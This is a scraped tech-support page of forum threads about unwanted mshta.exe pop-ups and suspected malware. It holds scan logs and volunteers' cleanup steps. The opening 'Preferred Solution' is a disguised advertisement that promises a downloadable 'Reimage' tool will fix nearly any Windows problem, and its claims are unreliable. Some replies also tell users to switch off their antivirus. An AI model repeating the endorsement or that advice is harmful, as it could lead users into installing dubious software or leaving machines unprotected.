Over 1 million tech questions and answers.

can't get rid of mshta.exe - No Disk pop up

Q: can't get rid of mshta.exe - No Disk pop up

I continue to get a pop up with the header mshta.exe - no disk. In the body of the pop-up it says "There is no disk in the drive. Please insert a disk into drive\Device\Harddisk\DR7. I keep cancelling it and it pops up about 5 seconds later. There has been no new programs installed lately other than Norton 360 2014. I also switched from Chrome to Firefox for surfing. I did have guests staying with me for 10 days that freely used the computer so there is a possibility a virus was introduced inadvertedly. The computer has been running slower than usual, particularly booting up, but that appears to preeceed the pop up issue. Any help/advice would be greatly appreciated.

RELEVANCY SCORE 200
Preferred Solution: can't get rid of mshta.exe - No Disk pop up

I recommend downloading and running Reimage. It's a computer repair tool that has been proven to identify and fix many Windows problems with a high level of success.

I've used it in the past to identify and fix everything from blue screens (BSOD's), ActiveX errors, corrupt files and processes, dll/exe/sys errors, recover lost memory, Windows update problems, defragging, malware removal etc.

You can download it direct from this link http://downloadreimage.com/download.php. (This link will automatically start a download of Reimage that you can save to your computer.)

A: can't get rid of mshta.exe - No Disk pop up

Download Autoruns for Windows: http://technet.microsoft.com/en-us/sysinternals/bb963902.aspxNo installation required.Simply unzip Autoruns.zip file, and double click on autoruns.exe file to run the program.Go File>Save, and save it as AutoRuns.txt file to know location.You must select Text from drop-down menu as a file type:Upload the file(s) here: http://www.sendspace.com/Click on Browse button and navigate to the file you want to upload.Click on Upload button.Click on FIRST Copy Link button and paste the link in your next reply.

Read other 10 answers
RELEVANCY SCORE 37.2

I activated the guest account on XP and McAfee stopped mshta from calling the RegRead method within the IWshShell3 object
I have found threads about viruses in mshta but have also read that it is necessary for windows to run so I don't know if I should stop it or allow it.
Thank you for any input.
 

Read other answers
RELEVANCY SCORE 37.2

My computer was running very poorly so I checked the processes running in task manager and this file which I've never seen before is opened in 10 instances. I read after a quick search that this is a Microsoft file and not a virus/trojan but it only reopens when I cancelled it. Thanks in advance.
 

Read other answers
RELEVANCY SCORE 37.2

Hi all,

I could use some help with my father-in-law's computer. He doesn't appear to be infected with anything (at least not anything caught with numerous scans by the various favored virus programs). What I found is that he was getting a porn pop-up on his computer which would come back in a few minutes after closing it. Digging further, I found that mshta.exe was being used to grab a web page which had google ads then being displayed. I have not been able to find what is triggering mshta.exe to run but did stop the content of the window by editing the hosts file for the remote site to point to localhost. So, he still gets the window coming up but nothing is in it.

I initially did this stuff remotely when my wife was visiting back in April. I'll be there myself this weekend so was looking for any ideas on what to look for.

I'll post DDS and HiJackThis logs from initial inspection. I also have OTL log.

Thanks.

A:mshta.exe being used for pop-ups

.
DDS (Ver_2011-08-26.01) - NTFSAMD64
Internet Explorer: 9.0.8112.16421 BrowserJavaVersion: 1.6.0_26
Run by TOMOTAKA at 20:50:48 on 2012-04-11
Microsoft Windows 7 Home Premium 6.1.7601.1.1252.1.1033.18.6071.4321 [GMT -7:00]
.
AV: Microsoft Security Essentials *Disabled/Updated* {108DAC43-C256-20B7-BB05-914135DA5160}
AV: McAfee Anti-Virus and Anti-Spyware *Disabled/Updated* {86355677-4064-3EA7-ABB3-1B136EB04637}
AV: AVG Internet Security 2012 *Disabled/Updated* {5A2746B1-DEE9-F85A-FBCD-ADB11639C5F0}
SP: AVG Internet Security 2012 *Disabled/Updated* {E146A755-F8D3-F7D4-C17D-96C36DBE8F4D}
SP: Microsoft Security Essentials *Disabled/Updated* {ABEC4DA7-E46C-2F39-81B5-AA334E5D1BDD}
SP: Windows Defender *Disabled/Outdated* {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
SP: McAfee Anti-Virus and Anti-Spyware *Disabled/Updated* {3D54B793-665E-3129-9103-206115370C8A}
FW: McAfee Firewall *Disabled* {BE0ED752-0A0B-3FFF-80EC-B2269063014C}
.
============== Running Processes ===============
.
C:\Windows\system32\wininit.exe
C:\Windows\system32\lsm.exe
C:\Windows\system32\svchost.exe -k DcomLaunch
C:\Windows\system32\nvvsvc.exe
C:\Windows\system32\svchost.exe -k RPCSS
c:\Program Files\Microsoft Security Client\Antimalware\MsMpEng.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
C:\Windows\system32\svchost.exe -k netsvcs
C:\Windows\system32\svchost.exe -k LocalService
C:\Program Files\Dell\DellDock\DockLogin.exe
C... Read more

Read other 9 answers
RELEVANCY SCORE 37.2

Dell dimension 2400
MS XP, sp3, intel pentium 4 2.8 gHz, 512 RAM, Intel 82845G/ gl/ge/pe/gv graphics controller.

Hello guys. 2 weeks ago I got the vundo thing and I thought I'd got around it by creating another user account with admin status and updating Superantispyware, Spybot, Removeit, Ccleaner and AVG free. Then deleting my original account. I lost all my contacts in OE but it was worth it for my other data. I then created another user account in case it happened again. It seemed to work but what I found was after leaving the computer for five minutes I had to log on again, so I went to Users to see if I could sort it out when Comodo instructed me that mshta.exe was wanting to take a copy of my user accounts so I've ended up here for your help if you please. I've read the other posts and have got hijack this' log for your perusal. Thankyou.
Logfile of Trend Micro HijackThis v2.0.2
Scan saved at 12:33:00 PM, on 6/27/2008
Platform: Windows XP SP3 (WinNT 5.01.2600)
MSIE: Internet Explorer v7.00 (7.00.6000.16674)
Boot mode: Normal
Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\Program Files\Windows Defender\MsMpEng.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\svchost.exe
C:\Program Files\Lavasoft\Ad-Aware 2007\aawservice.exe
C:\WINDOWS\system32\spoolsv.exe
C:\PROGRA~1\AVG\AVG8\avgwdsvc.exe
C:\Program Files\COMODO... Read more

Read other answers
RELEVANCY SCORE 37.2

Hello,

Hoping to get a little help here. My PC has been running pretty choppy and slow lately, so I pulled up the task manager and there were several instances of mshta.exe listed. I did a little research, rebooted in safe mode, and used MBAM and Super Anti-Spyware. MBAM didn't clean anything, but SAS found 105 threats and 1 trojan. After I cleaned those I ran AVG and it didn't come up with anything. I surfed the web a little bit, then pulled up the task manager again. There is now one instance of mshta.exe running at 8,776 k. Can someone tell me if this is normal? If I need to run any programs and paste logs that's fine-just wanted to see if the problem is gone.

Thanks in advance.

Annie

A:mshta.exe

Ok I just checked this morning and now I have several instances of mshta.exe running in the task manager. I know this is not normal. Any help would be appreciated.

Thanks,
Annie

Read other 3 answers
RELEVANCY SCORE 37.2

I am using MS xp home with sp3. I have ran MBAM Anti malware with full updates and this has not solved my problem. I have also done a full scan using Avira anti-virus (with full updates) and i still think that i am infected with this Mshta.exe. This is very annoying. I want to get rid of it. I am posting my hijack log. Any solutions greatly appreciated people. ThanksHijack log :Logfile of Trend Micro HijackThis v2.0.2Scan saved at 08:53:48, on 06/09/2010Platform: Windows XP SP3 (WinNT 5.01.2600)MSIE: Internet Explorer v7.00 (7.00.6000.17080)Boot mode: NormalRunning processes:C:\WINDOWS\System32\smss.exeC:\WINDOWS\system32\winlogon.exeC:\WINDOWS\system32\services.exeC:\WINDOWS\system32\lsass.exeC:\WINDOWS\system32\svchost.exeC:\WINDOWS\System32\svchost.exeC:\WINDOWS\system32\svchost.exeC:\Program Files\Intel\Wireless\Bin\EvtEng.exeC:\Program Files\Intel\Wireless\Bin\S24EvMon.exeC:\Program Files\Intel\Wireless\Bin\WLKeeper.exeC:\WINDOWS\Explorer.EXEC:\WINDOWS\system32\ZoneLabs\vsmon.exeC:\WINDOWS\system32\LEXBCES.EXEC:\WINDOWS\system32\LEXPPS.EXEC:\WINDOWS\system32\spoolsv.exeC:\Program Files\Avira\AntiVir Desktop\sched.exeC:\Program Files\Avira\AntiVir Desktop\avguard.exeC:\Program Files\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exeC:\Program Files\Application Updater\ApplicationUpdater.exeC:\Program Files\Bonjour\mDNSResponder.exeC:\Program Files\Avira\AntiVir Desktop\avshadow.exeC:\PROGRA~1\CACHEM~1\CachemanXP.exeC:\Program Files\Common Files\Creative... Read more

A:Mshta.exe

Hello and welcome to Bleeping ComputerWe apologize for the delay in responding to your request for help. Here at Bleeping Computer we get overwhelmed at times, and we are trying our best to keep up. Please note that your topic was not intentionally overlooked. Our mission is to help everyone in need, but sometimes it takes just a little longer to get to every request for help. No one is ignored here.If you have since resolved the original problem you were having, we would appreciate you letting us know. If not please perform the following steps below so we can have a look at the current condition of your machine. Please include a clear description of the problems you're having, along with any steps you may have performed so far.Please refrain from running tools or applying updates other than those we suggest while we are cleaning up your computer. The reason for this is so we know what is going on with the machine at any time. Some programs can interfere with others and hamper the recovery process.Even if you have already provided information about your PC, we need a new log to see what has changed since you originally posted your problem.We need to create an OTL ReportPlease download OTL from one of the following mirrors:This is THE MirrorSave it to your desktop.Double click on the icon on your desktop.Click the "Scan All Users" checkbox.In the custom scan box paste the following:CODEmsconfigsafebootminimalactivexdrivers32netsvcs%SYSTEMDRIVE%\*.exe/md5st... Read more

Read other 2 answers
RELEVANCY SCORE 37.2

What is mshta.exe in the processes of the task manager and is it a sign of a virus if there are multiple processes labled mshta.exe?

A:mshta.exe

are you seeing this in the task manager?

Read other 11 answers
RELEVANCY SCORE 37.2

Hi I am having what seems to be a common problem with this I am guessing mailware.. My mshta.exe file is running about 20 times in my application's tab ... I have turned it off and when I run any of my games is when they seem to come back on ... I have Windows XP SP2 for virus detection firewall and pc helpers I have System Mechanic PRO/ Spybot Search and Destroy/ Advanced Windows Care/ Zone Alarm... When I first had this problem I was not running spybot on my pc ... I downloaded it via a friend and ran it ... It found 92 things wrong and fixed them ... I have been looking for a solution to this and have seen that the people here really know what they are doing so can you help me ? Thanks in advanced for any help you guys provide !!
BTW: there are 7 Mshta files on my pc not all are in the sys32 folder .. I have a screen shot if you need it.!!
Edit:I have followed Prep Guide (http://www.bleepingcomputer.com/forums/topic34773.html) And step 7 was unsuccessful. I got the program downloaded and it just opens a txt file with hexed images I cannot read it or anything. All other steps were followed and worked fine. I have the file from Step 8 if you need it .

A:Mshta.exe

If you cannot get DDS to work, please try this instead.Please download RSIT by random/random from the link provided for your operating system and save it to your desktop.Link 1 for 32-bit versionLink 2 for 32-bit versionLink 1 for 64-bit versionLink 2 for 64-bit versionThis tool needs to run while the computer is connected to the Internet so it can download HijackThis if it is not located on your system. If you get a warning from your firewall or other security programs regarding RSIT attempting to contact the Internet, please allow the connection.Close all applications and windows so that you have nothing open and are at your Desktop.Double-click on RSIT.exe to start the program.
Vista/Windows 7 users right-click and select Run As Administrator.Read the disclaimer and click Continue.When the scan is complete, a text file named log.txt will automatically open in Notepad.Another text file named info.txt will open minimized.Save the log files to your desktop and copy/paste the contents of log.txt by highlighting everything and pressing Ctrl+C.After highlighting, right-click, choose Copy and then paste the contents into a new topic in the Virus, Trojan, Spyware, and Malware Removal Logs forum, NOT here.Copies of both log files are automatically saved in the C:\RSIT folder which the tool creates during the scan.Important: Be sure to mention that you tried to follow the Prep Guide but were unable to get DDS to run. If RSIT did not work, then reply back here.

Read other 2 answers
RELEVANCY SCORE 37.2

Hi, kinda new to TSG.

Ok, so about 3-4 days ago I got infected with a Trojan, and I've run many scans of all sorts and I found a lot of errors which I fixed. So I'm somewhat sure that I've got rid of the Trojan. The thing is that my computer started doing things that it usually doesn't do and the concerns me. To begin with, I'm seeing 2 new processes in my Task Manager that I have never seen before which are: MDM.exe and mshta.exe.

I did a little research on them and I found that some Trojans can hide as MDM.exe and that mshta.exe is a vulnerability of Microsoft Windows and that some Trojans use them to bypass some security measures. As I mentioned before I ran an exhausting amount of scans and all that sorts and I've fixed all the errors that popped up. My question is: whats the normal location of MDM.exe? Because I've read on various forums that it can either be in C:\WINDOWS\System32\ or ProgramFiles\Common Files\Microsoft Shared\VS7Debug. My MDM.exe is currenly in C:\WINDOWS\System32\. I'm running on Windos XP Home Edition SP3, P4 3.0GHz, 4 Gb of Ram. Any help is much appreciated and any questions I'll reply to as soon as I can. Also, I'm not using IE im using Google Chrome.

My HJT file:

Logfile of Trend Micro HijackThis v2.0.4
Scan saved at 12:40:58 AM, on 10/14/2010
Platform: Windows XP SP3 (WinNT 5.01.2600)
MSIE: Internet Explorer v7.00 (7.00.6000.17091)
Boot mode: Normal

Running processes:
C:\WINDOWS\System32\sm... Read more

A:MDM.exe and mshta.exe

Read other 7 answers
RELEVANCY SCORE 37.2

ugh... there is a program hiding under the name mshta.exe... it keeps running between 15 - 20 instances of itself, slowing down my computer drastically. it's easily closed, but a big hassle... i'm sure there have been many requests to remove this by others, but as each situation is different i know i need specific advice since it mshta.exe is an actual file the computer needs... i've got the dds scan files from my computer ready and waiting but not the gmer files... i've tried getting rid of it on my own with mbam and a few others, but nothing is working... please help...


DDS (Ver_10-12-12.02) - NTFSx86
Run by Owner at 11:30:13.29 on Sun 12/26/2010
Internet Explorer: 6.0.2900.5512 BrowserJavaVersion: 1.6.0_18
Microsoft Windows XP Home Edition 5.1.2600.3.1252.1.1033.18.1214.605 [GMT -6:00]
============== Running Processes ===============

C:\WINDOWS\system32\nvsvc32.exe
C:\WINDOWS\system32\svchost -k DcomLaunch
svchost.exe
C:\WINDOWS\System32\svchost.exe -k netsvcs
svchost.exe
svchost.exe
C:\WINDOWS\system32\spoolsv.exe
svchost.exe
C:\WINDOWS\System32\svchost.exe -k Akamai
C:\Program Files\Bonjour\mDNSResponder.exe
C:\Documents and Settings\Owner\Desktop\tom stuff\java source stuff\bin\jqs.exe
C:\Documents and Settings\Owner\Desktop\tom stuff\Malwarebytes' Anti-Malware\mbamservice.exe
C:\Pro... Read more

A:help?? mshta.exe

Hello and Welcome to the forums! My name is Gringo and I'll be glad to help you with your computer problems. Somethings to remember while we are working together.Do not run any other tool untill instructed to do so!Please Do not Attach logs or put in code boxes.Tell me about any problems that have occurred during the fix.Tell me of any other symptoms you may be having as these can help also.Do not run anything while running a fix.We apologize for the delay in responding to your request for help. Here at Bleeping Computer we get overwhelmed at times, and we are trying our best to keep up. Please note that your topic was not intentionally overlooked. Our mission is to help everyone in need, but sometimes it takes just a little longer to get to every request for help. No one is ignored here.Click on the Watch Topic Button and select Immediate Notification and click on proceed, this will help you to get notified faster when I have replied and make the cleaning process faster.In order for me to see the status of the infection I will need a new set of logs to start with.Please print out or make a copy in notpad of any instructions given, as sometimes it is necessary to go offline and you will lose access to them.DeFogger: Please download DeFogger to your desktop.

Double click DeFogger to run the tool.
The application window will appear Click the Disable button to disable your CD Emulation drivers Click Yes to continue A 'Finished!' message will ap... Read more

Read other 10 answers
RELEVANCY SCORE 37.2

Trying to determine the problem with Add/Remove Programs.Running it shows the initial screen, but no entries. The maximize/minimize/exit buttons nor the left-sideicons do nothing. The only way to exit is to kill the mshta process.Also, double-clicking on *.htt, *.hta stuff locks the file manager.Tried to rename/delete the mshta.exe executable, but regardless of how it is done, it shows back upin the system32 directory.mshta.exe24,576 8/29/2002 found in system32 & dllcache - renamed, deleted (replacement same size/date)29,968 6/19/2003 replacement after deletion from system32, dllcache (source = ServicePackFiles/i386 ???)Both versions seemingly react the same on execution.What is the process that keeps replacing the file in the system32 directory? Is this normal?This started after I ran combofix. Posted request to:http://www.bleepingcomputer.com/forums/t/338179/problems-after-running-combofix/No answer to that post.TIA.

A:mshta.exe help

After posting a log for analysis and help with malware infection, you should NOT make further changes to your computer (install/uninstall programs, use special fix tools, delete files, edit the registry, etc) unless advised by a Malware Response Team member, nor should you continue to ask for help elsewhere. Doing so can result in system changes which may not show it the log you already posted. Further, any modifications you make on your own may cause confusion for the member assisting you and could complicate the malware removal process or make things worst which would extend the time it takes to clean your computer.From this point on the Malware Response Team should be the only members that you take advice from, until they have verified your log as clean.Please be patient. It may take a while to get a response because the Malware Response Team members are very busy working logs posted before yours. They are volunteers who will help you out as soon as possible. Once you have posted your log and are waiting, please DO NOT "bump" your post or make another reply until it has been responded to by a member of the Malware Response Team. Generally the staff checks the forum for postings that have 0 replies as this makes it easier for them to identify those who have not been helped. If you post another response there will be 1 reply. A team member, looking for a new log to work may assume another Malware Response Team member is already assisting you and not open the thread... Read more

Read other 1 answers
RELEVANCY SCORE 37.2

I am having problems when removing users from Control Panel; I cannot delete any user's files though I can add a new user without problem; when deleting a user and his files, the system would freeze and error message is mshta is not responding;

there are two limited accounts that cannot use Firefox since their profiles in not accessible and hence I decide to remove them and add them again (the system is disabled to run Internet Explorer)
 

A:what is mshta ?

Read other 6 answers
RELEVANCY SCORE 37.2

I seem to have 2 or 3 of them open up on my computer, they only seem to pop up after I open explore or firefox, I removed them from my scheduled tasks. and they have not poped up yet but I fear i might be infected with them so im posting here

A:mshta.exe

Welcome aboard mshta.exe is Microsoft HTML Application host file so normally it'd be a legit file.Are you having any computer issues?

Read other 1 answers
RELEVANCY SCORE 37.2

In my processes log there are over 20 different mshta.exe running. I had a virus and got rid of most of it by running anti-virus, malaware, spyware; but, Im still having problems. Is my only chance of fixing my computer reformatting? None of the programs detect anything. My machine has also had trouble booting up and shutting down sometimes. Usually works on second try though. Any advice much appreciated.
Thanks

A:mshta.exe

Mshta.exe is a Microsoft signed file. By default, the mshta.exe file is located in the %system% folder. The most common size of the mshta.exe file is 29,184 bytes. You may also find this file in 45,568, 30,720, 26,624, and 24,064 bytes sizes.Not sure why you have so many items in process log as this is usually just a normal M/$oft file ??The mshta.exe (Microsoft HTML Application Host) file is a Windows file that is required by the Windows operating system to read and execute .HTA files. If in doubt run a sfc /scannow check to be sure -Thank you -

Read other 9 answers
RELEVANCY SCORE 37.2

I am having problem with this program.....from what I read it is an infection.
I have Pest Patrol and Ewido and neither caught it. Sorry if this is a repeat but I did not see it posted. Here is my HiJack This Log,
Logfile of HijackThis v1.99.1
Scan saved at 2:30:04 PM, on 7/4/2006
Platform: Windows XP SP2 (WinNT 5.01.2600)
MSIE: Internet Explorer v7.00 (7.00.5450.0004)

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\SYSTEM32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\Program Files\Microsoft Windows OneCare Live\Antivirus\MSMPSVC.exe
C:\Program Files\Windows Defender\MsMpEng.exe
C:\Program Files\Microsoft Windows OneCare Live\Antivirus\MpEng.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\spoolsv.exe
C:\Program Files\Common Files\AOL\ACS\AOLAcsd.exe
C:\Program Files\Common Files\AOL\TopSpeed\2.0\aoltsmon.exe
C:\WINDOWS\system32\cisvc.exe
C:\Program Files\Diskeeper Corporation\Diskeeper\DkService.exe
C:\Program Files\ewido anti-spyware 4.0\guard.exe
C:\Program Files\PC Magazine Utilities\HD HeartBeat 2\HBSrvApp.exe
C:\WINDOWS\system32\netdde.exe
C:\Program Files\Common Files\Panda Software\PavShld\pavprsrv.exe
C:\WINDOWS\System32\HPZipm12.exe
C:\WINDOWS\System32\dllhost.exe
C:\WINDOWS\system32\Tablet.exe
C:\WINDOWS\wanmpsvc.exe
C:\WINDOWS\system32\MsPMSPSv.exe
C:\WINDOWS\System32\wbem\wmiapsrv.exe
C:\Program Files\Microsoft Windows OneCare Live\Firewall\mpssvc.exe
C:\WINDOWS\system32\netdde.... Read more

A:mshta.exe%1%

Run ActiveScan online virus scan:
http://www.pandasoftware.com/products/activescan.htm

Once you are on the Panda site click the Scan your PC button.
A new window will open...click the Check Now button.
Enter your Country.
Enter your State/Province.
Enter your e-mail address and click send.
Select either Home User or Company.
Click the big Scan Now button.
If it wants to install an ActiveX component allow it.
It will start downloading the files it requires for the scan (Note: It may take a couple of minutes)
When download is complete, click on My Computer to start the scan.
When the scan completes, if anything malicious is detected, click the See Report button, then Save Report and save it to a convenient location.
Post the contents of the ActiveScan report.
 

Read other 3 answers
RELEVANCY SCORE 37.2

Boopme or whoever will be working with me here:
here is my dds log and gmer log.
DDS (Ver_10-12-12.02) - NTFSx86
Run by HP_Administrator at 10:33:44.00 on Sat 01/22/2011
Internet Explorer: 6.0.2900.2180 BrowserJavaVersion: 1.6.0_12
Microsoft Windows XP Professional 5.1.2600.2.1252.1.1033.18.958.317 [GMT -6:00]

AV: AVG Anti-Virus Free *Disabled/Updated* {17DDD097-36FF-435F-9E1B-52D74245D6BF}

============== Running Processes ===============

C:\WINDOWS\system32\Ati2evxx.exe
C:\WINDOWS\system32\svchost -k DcomLaunch
svchost.exe
C:\WINDOWS\System32\svchost.exe -k netsvcs
svchost.exe
svchost.exe
C:\Program Files\AVG\AVG9\avgchsvx.exe
C:\Program Files\AVG\AVG9\avgrsx.exe
C:\Program Files\AVG\AVG9\avgcsrvx.exe
C:\WINDOWS\system32\Ati2evxx.exe
C:\WINDOWS\Explorer.EXE
C:\WINDOWS\system32\spoolsv.exe
c:\program files\common files\logitech\lvmvfm\LVPrcSrv.exe
C:\WINDOWS\ehome\ehtray.exe
C:\HP\KBD\KBD.EXE
C:\Program Files\Common Files\Logitech\LComMgr\Communications_Helper.exe
C:\Program Files\Common Files\Logitech\LComMgr\LVComSX.exe
C:\Program Files\Logitech\QuickCam10\QuickCam10.exe
C:\Program Files\HP\HP Software Update\HPwuSchd2.exe
C:\PROGRA~1\AVG\AVG9\avgtray.exe
svcho... Read more

A:mshta.exe

Hello and Welcome to the forums! My name is Gringo and I'll be glad to help you with your computer problems. Somethings to remember while we are working together.Do not run any other tool untill instructed to do so!please Do not Attach logs or put in code boxes.Tell me about any problems that have occurred during the fix.Tell me of any other symptoms you may be having as these can help also.Do not run anything while running a fix.Do not run any other tool untill instructed to do so!Click on the Watch Topic Button and select Immediate Notification and click on proceed, this will help you to get notified faster when I have replied and make the cleaning process faster.Please print out or make a copy in notpad of any instructions given, as sometimes it is necessary to go offline and you will lose access to them.AVG right now is very hard to shut down long enough to run our scans and is actively going after some of our tools - for this reason we are going to have to remove it until we are finishedI would like you to uninstall AVG and run their AVG removal tool Run Combofix:You may be asked to install or update the Recovery Console (Win XP Only) if this happens please allow it to do so (you will need to be connected to the internet for this)Before you run Combofix I will need you to turn off any security software you have running, If you do not know how to do this you can find out >here< or >here<Combofix may need to reboot your computer more than once t... Read more

Read other 12 answers
RELEVANCY SCORE 37.2

I have a dell 1501 laptop with Vista 32 basic.2 days ago i executed a file with extension .hta.As far as i know mshta.exe is a windows system file used to execute that type of files.Untill today i got warning from my ESET smart security when i was on the megaupload website.When i was about to download a file pop up window showed up and the mozilla closed by itself.Then tried again with Opera,the same.Then eset notfied me about the warnings and 2 processes asked permission to start as admin i canceled it.I had 3 or 4 processes in the task manager and terminated them immediately and
submited them to virus-total.Switched firewall to block all traffic and disconected from the network.I red about the mshta.exe and some people saying this process is not supposed to be on a vista machine,only on xp.Lets say i will get rid off the files in the temp folder.But what if the mshta.exe should exist on Vista and its hijacked?
The Eset log says:

**********************************
2/13/2010 9:56:36 PM Real-time file system protection file C:\Users\dddd\AppData\Local\Temp\monserwxac.exe a variant of Win32/Kryptik.CFG trojan cleaned by deleting - quarantined Event occurred on a new file created by the application: C:\Windows\system32\mshta.exe.
2/13/2010 9:56:34 PM Real-time file system protection file C:\Users\dddd\AppData\Local\Temp\mwonacersx.exe a variant of Win32/Kryptik.CFG trojan cleaned by deleting - quarantined Event occurred on a new file created by the application: C:\Windows\syste... Read more

Read other answers
RELEVANCY SCORE 37.2

Hi,

Yesterday my computer was infected with the 'Microsoft Essentials Alert Trojan' I spent all day doing scans, searching for ways to remove the trojan. So in the end I managed to remove the 'Trojan' by using 'Malwarebytes'. After this I scanned my computer with Spyware doctor/AVG/Ccleaner, but when I checked my task manager, I found mshta.exe processor running, I haven't seen this in my task manager before and a quick search, I found that this is either spyware or virus related. I would of thought spyware doctor would remove this but it seems that it didn't. I would appreciate any help on how to remove this/delete it.

Thanks in advance
Extremee

A:mshta.exe?

Hello and welcome to TSF.

We want all our members to perform the steps outlined in the link given below, before posting for assistance. There's a sticky at the top of this forum, and a
Quote:




Having problems with spyware and pop-ups? First Steps




link at the top of each page.

Please follow our pre-posting process outlined here:

http://www.techsupportforum.com/f50/...lp-305963.html

Use a USB flash drive to download and transfer the tools to the affected machine, if necessary. You migh like to run the following tool on the clean machine and the flash drive first to protect against any possible transfer of infection via USB.

After running through all the steps, you shall have a proper set of logs. Please post them in a new topic, as this one shall be closed.

If you have trouble with one of the steps, simply move on to the next one, and make note of it in your reply.

Please note that the Virus/Trojan/Spyware Help forum is extremely busy, and it may take a while to receive a reply.

Read other 1 answers
RELEVANCY SCORE 36.8

I have win2k and the computer has been slow to respond to things like double clicking. I looked at the process and the Mshta.exe is running very high CPU.
I looked around and i don't have the hotfix installed that other people metioned to remove.

Also when i try to save a download i have to click the save button a few times or just wait a minute.
And now if i click start and then shut down nothing happens.
 

Read other answers
RELEVANCY SCORE 36.8

Hello folks,

I recently went looking at woodworking sites and, inadvertently, clicked on something that downloaded a "hotfix" folder onto my computer. I started receiving one of those "yer pc is infected bla bla" followed by multiple pop-up windows of some sorta action cannot be bla bla. I did a search for all new files on my comp and deleted everything that had been created within the last hour, that was the "hotfix" folder and some accompanying files. I had to do a restart before I could delete anything, however, due to the massive amount of pop-ups freezing my computer. I no longer see hotfix or any of the "yer pc is broke, pay us all yer money so we can hotfix it for ya" stuff anymore, but I do get multiple instances of mshta.exe popping up in my process window. I'm sure something became embedded somewhere when I was forced to restart. I haven't taken any further action on it, since I have a great track record with you guys, I came here first. Any advice ya'll could offer would be greatly appreciated.

A:Multiple mshta.exe

Hello, it appears that during the upgrade of our forum your topic has been overlooked. If you still need help with this ....Please go here....Preparation Guide ,do steps 6 - 9.Create a DDS log and post it in the new topic explained in step 9,which is here Virus, Trojan, Spyware, and Malware Removal Logs and not in this topic,thanks.If Gmer won't run,skip it and move on.Let me know if that went well.

Read other 2 answers
RELEVANCY SCORE 36.8

I have a nasty little pop-up virus that I can't seem to get rid of. I don't know much about fixiing these kinds of things and this is my first time posting a thread on any kind of forum, but I'm at a loss for what to do next and this looked like the best place to come for help. I saw someone had a problem like this before, but I think this kind of problem is probably best addressed case by case.

I'm using windows 7 Home Premium and the problem is a pop-up from a porn site.
I have HijackThis and I'm including the most recent logfile. I apologize if I'm missing anything that might be needed. Please let me know what other information I need to include for someone to better assist me.

A:mshta.exe Pop-up Virus

Hello and welcome to TSF.

We require a comprehensive set of logs than HijackThis to determine the presence of malware. Please follow the instructions in our sticky topic New Instructions - Read This Before Posting for Malware Removal Help and post the requested logs in your next reply.

If you have trouble with one of the steps, simply move on to the next one, and make note of it in your reply.

**Please note this section of the forum is very busy, so be sure to familiarize yourself with the Bumping Rules also found in our sticky topic mentioned above. One of our Analysts will review your log as soon as possible.

Read other 2 answers
RELEVANCY SCORE 36.8

the program mshta.exe stops responding when trying to remove a windows user profile. It won't respond that then closes without deleting the profile. Can someone please help?
 

A:mshta.exe problems

How many user profiles are on the computer? Windows requires that at least one user is an administrator account.
 

Read other 1 answers
RELEVANCY SCORE 36.8

My Problem is that My computer is opening up around 10 mshta.exe files and it really bogs down my system and Applications Mainly Pro Tools start to crash.

My log is posted below all help is appreciated. is their anyway to get help or verification via email.

[email protected]

Logfile of Trend Micro HijackThis v2.0.2
Scan saved at 12:09:05 AM, on 1/1/2009
Platform: Windows XP SP2 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP2 (6.00.2900.2180)
Boot mode: Normal

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\spoolsv.exe
C:\Program Files\Digidesign\Drivers\MMERefresh.exe
C:\Program Files\Mediafour\MacDrive 7\MacDriveServiceD.exe
C:\WINDOWS\Explorer.EXE
C:\Program Files\Common Files\Mediafour\MACVNTFY.EXE
C:\Program Files\Mediafour\MacDrive 7\MacDriveD.exe
C:\Program Files\Winamp\winampa.exe
C:\PROGRA~1\Mozilla Firefox\firefox.exe
C:\WINDOWS\system32\wscntfy.exe
C:\Program Files\Uniblue\RegistryBooster\RegistryBooster.exe
C:\Program Files\Java\jre6\bin\jqs.exe
C:\WINDOWS\System32\mshta.exe
C:\Program Files\Trend Micro\HijackThis\HijackThis.exe

O2 - BHO: AcroIEHlprObj Class - {06849E9F-C8D7-4D59-B87D-784B7D6BE0B3} - C:\Program Files\Adobe\Acrobat 5.0\Reader\ActiveX\AcroIEHelper.ocx
O2 - BHO: (no name) - {25CEE8EC-5730-41bc-8B58-22DDC8AB8C20} - (no file)
O2 - BHO: (no name) - {53707962-6F7... Read more

Read other answers
RELEVANCY SCORE 36.8

I too have a problem with mshta.exe.showing on my Windows XP Home. Every hour or so a new one will start. Prior to coming here I ran Avast, Msrt, and MBAM in regular mode. I have also tried things you said to do from other posts but the problem still exists. I hope you can help me.I ran ATF and SAS in safe mode...nothing found. Ran MBAM nothing found. Ran Avast and found AO231449.exe C:\systemvolumeinformation\restore{b And Hotfix.exe C:\documents and settings\skip\application.

I have 14 instances as follows:


mshta.exe C:\documents and settings\skip\my documents\downloads 29kb Application
mshta.exe.mui C:\documents and settings\skip\my documents\downloads 3kb mui file
MSHTA.EXE C:\I386 24kb Application
mshta.exe C:\windows\$ntservicepackuninstall$ 29kb Application
mshta.exe C:\windows\ie7 29kb Application
mshta.exe C:\windows\ie8 45kb Application
mshta.exe.mui C:\windows\ie8 3kb mui File
MSHTA.EXE-07121ECE.pf C:\windows\prefetch 47kb pf file
mshta.exe C:\windows\system32 45kb Application
mshta.exe.mui C:\win... Read more

A:Mshta.exe Problem

